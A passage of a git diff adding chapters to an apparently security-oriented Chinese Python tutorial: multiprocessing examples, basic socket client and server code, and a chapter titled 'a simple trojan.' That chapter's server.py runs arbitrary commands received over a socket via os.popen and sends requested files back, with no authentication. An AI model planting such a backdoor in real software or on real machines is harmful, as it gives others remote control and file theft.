q = Queue() + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..321f370 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,21 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + info('main line') + p = Process(target=f, args=('bob',)) + p.start() + p.join() + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..9f3fb2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..27f6eeb Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..17c9911 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..0944a4c Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..912a226 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..4d76d2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..226ba65 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..4ea7630 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,237 @@ +## 2.3 多进程编程 + +在上一节我们讲过Python的多线程由于全局线程锁的存在并不能实现真正的并行编程,但是Python中的多进程编程模式是可以实现这个目标的。多进程模式下进行上下文切换的损耗要远远大于线程。进程间无法直接共享数据,需要通过Queue、Pipe或则Manager方式做进程间通信。 + +需要注意的是,编辑器对多进程调试的支持一般都不太好,在vscode中的调试控制台只能打印主进程的输出内容,所有需要在命令行运行脚本(或者在调试菜单中选择不调试模式下运行)查看完整结果。 +![](img/2.png) + +### 2.3.1 创建进程 + + +multiprocessing模块提供了类似threading模块中多线程编程模式的功能,辅助我们进行多进程开发。下面我们看创建子进程的示例(创建simple.py): + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + print('main line') + p = Process(target=f, args=('bob',))#创建进程 + p.start() + p.join() +``` + +Process类定义在multiprocessing模块中,使用方法和Thread类基本类似,具体参数这里就不详细介绍了,参考2.2节即可。和Thread类似,我们使用start方法来启动子进程,使用join方法等待子进程执行完毕才退出。代码中我们使用os.getppid()来获取当前进程的父进程id,使用os.getpid()来获取当前进程的id。和多线程类似,我们可以同时创建多个进程来实现真正的并行任务。 + +如果想要手动终止进程可以调用p.terminate()。 + +运行结果如下: +![](img/1.png) + + +### 2.3.2 进程间通信 + +多进程之间的通信通过Queue()或Pipe()来实现。 + +#### Queue + +通过Queue可以实现多个进程间的数据共享,Queue类提供了put方法存放数据,get方法获取数据,get方法获取数据的同上会清空队列。新建Queue.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data)#添加数据 +def out(q): + time.sleep(4) + print(q.get())#获取数据 + +if __name__ == '__main__': + q = Queue()#创建Queue实例 + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + ``` +在上面的代码中,我们首先调用Queue()来创建一个Queue的实例,接下来创建了两个子进程p和p1。进程p绑定的函数为f,向Queue中添加数据;进程p1绑定函数out,从Queue中获取数据。运行结果如下: +![](img/3.png) + +从运行结果看,两个进程间通过Queue完成了数据共享。 + +#### Pipe + +multiprocessing.Pipe()即管道模式,调用Pipe()返回管道的两端的Connection。Pipe的本质是进程之间的数据传递,而不是数据共享,这和socket有点像。pipe()返回两个连接对象分别表示管道的两端,每端都有send()和recv()方法。如果两个进程试图在同一时间的同一端进行读取和写入那么,这可能会损坏管道中的数据。 + +新建Pipe.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() +``` +上面的代码中在主进程中调用multiprocessing.Pipe(True)创建了管道,并返回元组(conn1,conn2),其中conn1和conn2是表示管道两端的Connection对象。Pipe接收一个布尔型参数,默认为true,表示是全双工通信,如果将置为False,conn1只能用于接收,而conn2只能用于发送。必须在创建和启动使用管道的Process对象之前调用Pipe()方法。 + +当主进程创建Pipe的时候,Pipe的两个Connections连接的的都是主进程。 +当主进程创建子进程后,Connections也被拷贝了一份。此时有了4个Connections。 +此后,关闭主进程的一个Out Connection,关闭一个子进程的一个In Connection。那么就建立好了一个输入在主进程,输出在子进程的管道。 +原理示意图如下: +![](img/4.png) + +应该特别注意管道端点的正确管理问题。如果是生产者或消费者中都没有使用管道的某个端点,就应将它关闭。这也说明了为何在生产者中关闭了管道的输出端,在消费者中关闭管道的输入端。如果忘记执行这些步骤,程序可能在消费者中的recv()操作上挂起。管道是由操作系统进行引用计数的,必须在所有进程中关闭管道后才能生成EOFError异常。因此,在生产者中关闭管道不会有任何效果,除非消费者也关闭了相同的管道端点。 + +运行结果如下: + +![](img/5.png) + + +### 2.3.3 进程锁 + +和多线程编程一样,当多个进程需要访问共享资源的时候,Lock可以用来避免访问的冲突。新建Lock.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() +``` + +上面的代码中,我们通过multiprocessing.Lock()来创建一个进程锁,然后调用 +“multiprocessing.Value('i', 0) ”定义了一个共享内存变量v,初始值为0。接下来启动两个线程p1和p2,同时对共享变量v进行操作,为了保证二者互不影响,在方法job中调用了acquire方法和release方法,对期间的代码块加锁,保证同时只能有一个进程修改v的值。运行结果如下: + +![](img/6.png) + + +### 2.3.4 进程池 + +由于进程启动的开销比较大,使用多进程的时候会导致大量内存空间被消耗。为了防止这种情况发生可以使用进程池。进程池会缓存一些进程在池子中,使用的时候直接拿来用,使用完毕回收到池子中。 + + +进程池中常用方法: +``` +apply() 同步执行(串行) +apply_async() 异步执行(并行) +terminate() 立刻关闭进程池 +join() 主进程等待所有子进程执行完毕。必须在close或terminate()之后。 +close() 等待所有进程结束后,才关闭进程池。 +``` + +新建Pool.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 +``` + +进程池内部维护一个进程序列,当使用时,去进程池中获取一个进程,如果进程池序列中没有可供使用的进程,那么程序就会等待,直到进程池中有可用进程为止。在上面的程序中产生了10个进程,但是只能有5同时被放入进程池,剩下的都被暂时挂起,并不占用内存空间,等前面的五个进程执行完后,再执行剩下5个进程。 + +### 2.3.5 小结 + +本节介绍了Python中多进程编程的基本概念,后续课程中会继续使用多进程来开发应用。 +#### 本节作业 +1. 结合2.1,2.2节内容,写一个多进程版本的文件枚举程序,同时输入多个目录,每个子进程负责一个目录递归获取该目录下的所有文件。 + +下一节我们通过一个综合训练,巩固本章学习的内容。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + diff --git a/2.3.pdf b/2.3.pdf new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and b/2.3.pdf differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" new file mode 100644 index 0000000..1183406 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" new file mode 100644 index 0000000..35e8800 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" @@ -0,0 +1,38 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host) + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80)) + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message) + reply = s.recv(4096) + print(reply) + s.close() + except socket.error: + sys.exit() #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" new file mode 100644 index 0000000..cc974e7 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" @@ -0,0 +1,34 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..1701a66 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..7ff0fd8 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..6e91c34 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" new file mode 100644 index 0000000..9774938 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" @@ -0,0 +1,184 @@ +## 3.1 Socket编程基础 + +从本节开始,我们正式打开网络编程的大门。需要注意的是,网络编程的基础是网络协议,本系列文章中不会系统的讲解协议,希望各位同学努力补充TCP/IP协议的相关内容。 + +Socket(套接字)编程是众多c/s架构程序基础,游戏、web服务器、绝大多数的木马程序都是基于Socket来实现的。在讲解什么是Socket之前,我们先来简单了解下TCP/IP分层模型。 + +国际标准化组织(ISO)在1978年提出了“开放系统互联参考模型”,即著名的OSI/RM模型(Open System Interconnection/Reference Model)。它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:物理层(Physics Layer)、数据链路层(Data Link Layer)、网络层(Network Layer)、传输层(Transport Layer)、会话层(Session Layer)、表示层(Presentation Layer)、应用层(Application Layer)。其中第四层完成数据传送服务,上面三层面向用户。 + +除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示: + +![](img/1.jpg) + + +四层模型和五层是现实世界中真实存在的,本系列教程遵循4层模型来写作。本章内容集中在网络接口层,实际对应到5层的数据链路层。 + +Socket(套接字)是一种编程接口,一般面向网络层和传输层协议(套接字并不限于TCP/IP),每个套接字绑定一个ip一个端口。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。比如QQ服务端对外绑定8000端口,web服务器一般对外绑定80端口。 + +Socket(套接字)为BSD UNIX系统核心的一部分,而且他们也被许多其他类似UNIX的操作系统包括Linux所采纳。许多非BSD UNIX系统(如ms-dos,windows,os/2,mac os及大部分主机环境)都以库形式提供对套接字的支持。 + +了解了基本概念之后,我们来了解下Python的Socket编程接口。 + +3.1.1 socket 类 + +Python 提供了两个基本的 socket 模块: + +* `socket` 它提供了标准的BSD Socket API。 +* `socketserver` 为服务器端编程提供了进一步封装,可以简化网络服务器的开发。 + +调用socket.socket可以创建一个Socket实例,socket类构造函数声明如下: + +``` +socket(family, type[,protocal]) +``` + +我们看到socket构造函数接收三个参数,第一个为family。family表示套接字对象使用的地址族,可选值:AF_INET——IPv4地址族,AF_INET6——IPv6地址族,AF_UNIX——针对类UNIX系统的套接字。第二个为type,可使用的类型如下: + +socket 类型 | 描述 +:--- | :--- +socket.SOCK_STREAM | 基于TCP的流式socket通信 +socket.SOCK_DGRAM | 基于UDP的数据报式socket通信 +socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次SOCK_RAW也可以处理特殊的IPV4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头 +socket.SOCK_SEQPACKET | 可靠的连续数据包服务 + +第三个参数protocal是协议类型,默认是0表示套接字,在套接字编程中不需要关心该参数。 + +创建TCP Socket的方法如下: +```Python +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +``` +创建UDP Socket的方法如下: +``` +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +``` + +接下来我们基于socket类来实现简单的客户端和服务端。 + +### 3.1.2 客户端编程 + +新建client.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + sys.exit() #退出进程 + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() +``` + +我们定义一个测试类名为Client,构造函数接收一个域名,用于连接测试。定义了connet方法,创建一个tcp类型的socket实例,向服务端发起连接。该方法最后调用sys.exit()退出。下面我们完善connet方法: + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host)#根据域名获取ip + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80))#连接 + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message)#发送数据 + reply = s.recv(4096)#接收数据 + print(reply) + s.close()#关闭连接 + except socket.error: + sys.exit() #退出进程 +``` +如上,一个简单的客户端完成了,我们首先调用socket.gethostbyname方法,利用传入的host参数获取其远程服务器的ip。接下来调用s.connect方法连接远程主机,注意connect方法的参数为一个元组,由ip和端口组成。主机连接完成,调用 s.sendall方法一次性发送所有数据到服务端,这里需要注意发送的数据必须是二进制格式。当数据比较大的时候需要使用send方法循环发送。接收服务器的响应使用s.recv方法,该方法的参数为一次接收的数据大小,当数据很大或者不知道具体大小的时候,需要循环接收。 最后调用s.close方法关闭连接。这个最简单客户端程序,实际上是发出了一个Http 的get请求,我们看下运行结果: + +![](img/2.png) + +现在简单总结下Socket客户端编程的基本步骤: +1. 创建套接字 + +2. 连接服务端 + +3. 发送数据 + +4. 接收数据 + +5. 关闭连接 + +下面我们再看最基本的服务端编程。 + +### 3.1.3 服务端编程 + +新建server.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + +``` +server类的start方法创建了一个简单的服务端。和客户端编程类似,我们首先创建一个socket对象。随后,我们要把socket绑定到传入的IP和端口上,调用bind方法,传入ip和端口号。服务端不会主动连接其他主机,而是等待客户端连接,这需要进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。监听模式之后,如果有客户端连接进来,如何接收连接呢?需要使用accept方法。accept方法会返回一个代表当前链接的connection对象和客户端的ip地址。接下来就可以使用conn对象来接收和发送数据了,最后调用conn.close()关闭和客户端的连接。下面我们启动服务端,然后再命令行启动nc,来连接服务端。 + +![](img/4.png) + +从上图我们可以看到,通过nc连接到服务端之后,服务端会打印连接的客户端信息,客户端输入“hello”,服务端接收后返回“你好客户端”,然后关闭连接。 + +### 3.1.4 小结 + +本节我们完成了最简单的客户端和服务端编程,同学们需要掌握建立客户端和服务端的基本步骤和api的使用。 下一节我们会继续改善本节的内容,创建基于多线程和多进程的服务端,使我们的客户端和服务端能正常通信,反复交流。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + diff --git a/3.1.pdf b/3.1.pdf new file mode 100644 index 0000000..1183406 Binary files /dev/null and b/3.1.pdf differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" new file mode 100644 index 0000000..7753112 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" @@ -0,0 +1,55 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + self.bufferSize = 10240 + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" new file mode 100644 index 0000000..2a9c5d2 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" @@ -0,0 +1,58 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 不知道客户端发送数据大小,循环接收 + data = conn.recv(self.bufferSize) + if not data: + break + else: + self.executeCommand(conn,data) + conn.close() + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" new file mode 100644 index 0000000..77dc710 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" new file mode 100644 index 0000000..0559456 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" new file mode 100644 index 0000000..32f62e9 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" new file mode 100644 index 0000000..96a5eea Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" new file mode 100644 index 0000000..fd6e158 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" new file mode 100644 index 0000000..800c6f5 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" @@ -0,0 +1,286 @@ +## 3.2 一个简单木马 + 